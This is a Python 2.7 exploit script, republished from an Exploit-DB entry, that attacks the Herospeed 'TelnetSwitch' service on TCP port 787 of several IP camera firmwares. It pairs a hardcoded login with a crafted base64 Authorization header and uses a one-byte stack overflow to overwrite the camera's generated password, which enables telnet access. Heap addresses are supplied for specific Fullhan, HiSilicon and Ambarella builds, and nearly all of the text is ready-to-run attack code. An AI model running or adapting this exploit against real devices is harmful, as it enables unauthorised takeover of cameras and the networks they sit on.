Herospeed – ‘TelnetSwitch’ Remote Stack Overflow / Overwrite Password / Enable TelnetD

  • 作者: bashis
    日期: 2018-01-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43997/
  • #!/usr/bin/env python2.7
    #
    # Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
    # Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
    #
    # [Verified]
    # 1) Fullhan IPC FH8830_F22_W_7.1.42.1
    # 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    # 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
    # 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
    #
    # Author: bashis <mcw noemail eu>, 2018
    #
    import socket
    import select
    import sys
    import argparse
    import base64
    import struct
    import time
    #
    # Validate correctness of HOST, IP and PORT
    #
    class Validate:
    
    	def __init__(self,verbose):
    		self.verbose = verbose
    
    	# Check if IP is valid
    	def CheckIP(self,IP):
    		self.IP = IP
    
    		ip = self.IP.split('.')
    		if len(ip) != 4:
    			return False
    		for tmp in ip:
    			if not tmp.isdigit():
    				return False
    			i = int(tmp)
    			if i < 0 or i > 255:
    				return False
    		return True
    
    	# Check if PORT is valid
    	def Port(self,PORT):
    		self.PORT = PORT
    
    		if int(self.PORT) < 1 or int(self.PORT) > 65535:
    			return False
    		else:
    			return True
    
    	# Check if HOST is valid
    	def Host(self,HOST):
    		self.HOST = HOST
    
    		try:
    			# Check valid IP
    			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
    			# Now we check if it is correct typed IP
    			if self.CheckIP(self.HOST):
    				return self.HOST
    			else:
    				return False
    		except socket.error as e:
    			# Else check valid DNS name, and use the IP address
    			try:
    				self.HOST = socket.gethostbyname(self.HOST)
    				return self.HOST
    			except socket.error as e:
    				return False
    
    
    if __name__ == "__main__":
    
    	INFO ='\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
    	rhost = '192.168.57.20'	# Default Remote HOST
    	rport = 787			# Default Remote PORT
    	BUFFER_SIZE = 1024
    
    	try:
    		arg_parser = argparse.ArgumentParser(
    		prog=sys.argv[0],
    				description=('[*] '+ INFO +' [*]'))
    		arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
    		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
    		args = arg_parser.parse_args()
    	except Exception as e:
    		print INFO,"\nError: {}\n".format(str(e))
    		sys.exit(1)
    
    	print INFO
    	if args.rport:
    		rport = int(args.rport)
    
    	if args.rhost:
    		rhost = args.rhost
    		IP = args.rhost
    
    	# Check if RPORT is valid
    	if not Validate(True).Port(rport):
    		print "[!] Invalid RPORT - Choose between 1 and 65535"
    		sys.exit(1)
    
    	# Check if RHOST is valid IP or FQDN, get IP back
    	rhost = Validate(True).Host(rhost)
    	if not rhost:
    		print "[!] Invalid RHOST"
    		sys.exit(1)
    
    	timeout = 5
    	socket.setdefaulttimeout(timeout)
    
    	#
    	# [Payload]
    	#
    
    	LOGIN = "Lucky787"		# Hardcoded login
    	#
    	# Fullhan IPC FH8830_F22_W_7.1.42.1
    	# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    	#
    	PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n"	# Our new password, must be exactly 12 char, and must be '\n'
    	MESSAGE =''+ LOGIN + ':' + PASSWD +''
    	BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
    	HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap
    
    	#
    	# HiSilicon 3518EV200_OV9732_W_7.1.25.1
    	#
    #	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
    #	MESSAGE =''+ LOGIN + ':' + PASSWD +''
    #	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    #	HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap
    
    	#
    	# HiSilicon 3519V100_IMX274_W_7.1.39.3
    	#
    #	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
    #	MESSAGE =''+ LOGIN + ':' + PASSWD +''
    #	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    #	HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap
    
    	#
    	# Ambarella s2l55m_imx123_W_7.1.25.2
    	#
    #	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
    #	MESSAGE =''+ LOGIN + ':' + PASSWD +''
    #	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    #	HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap
    
    	#
    	# Ambarella S2E66_IMX178_W_7.1.3.4
    	#
    #	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
    #	MESSAGE =''+ LOGIN + ':' + PASSWD +''
    #	BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
    #	HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
    
    	MESSAGE = base64.b64encode(bytes(MESSAGE))
    	MESSAGE += BASE64_NULL
    
    	#
    	# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
    	#
    	for where in range(0, len(PASSWD)):
    		OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
    		print "Writing to: {}".format(hex(HEAP_PWD))
    		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		s.connect((rhost, rport))
    		s.send(OUT)
    		time.sleep(0.5)
    		response = s.recv(BUFFER_SIZE).split()
    		HEAP_PWD += 0x1 # Next address on heap
    
    		if response[1]:
    			if response[1] == "200":
    				print "({}) OK, telnetd should be open!".format(response[1])
    				break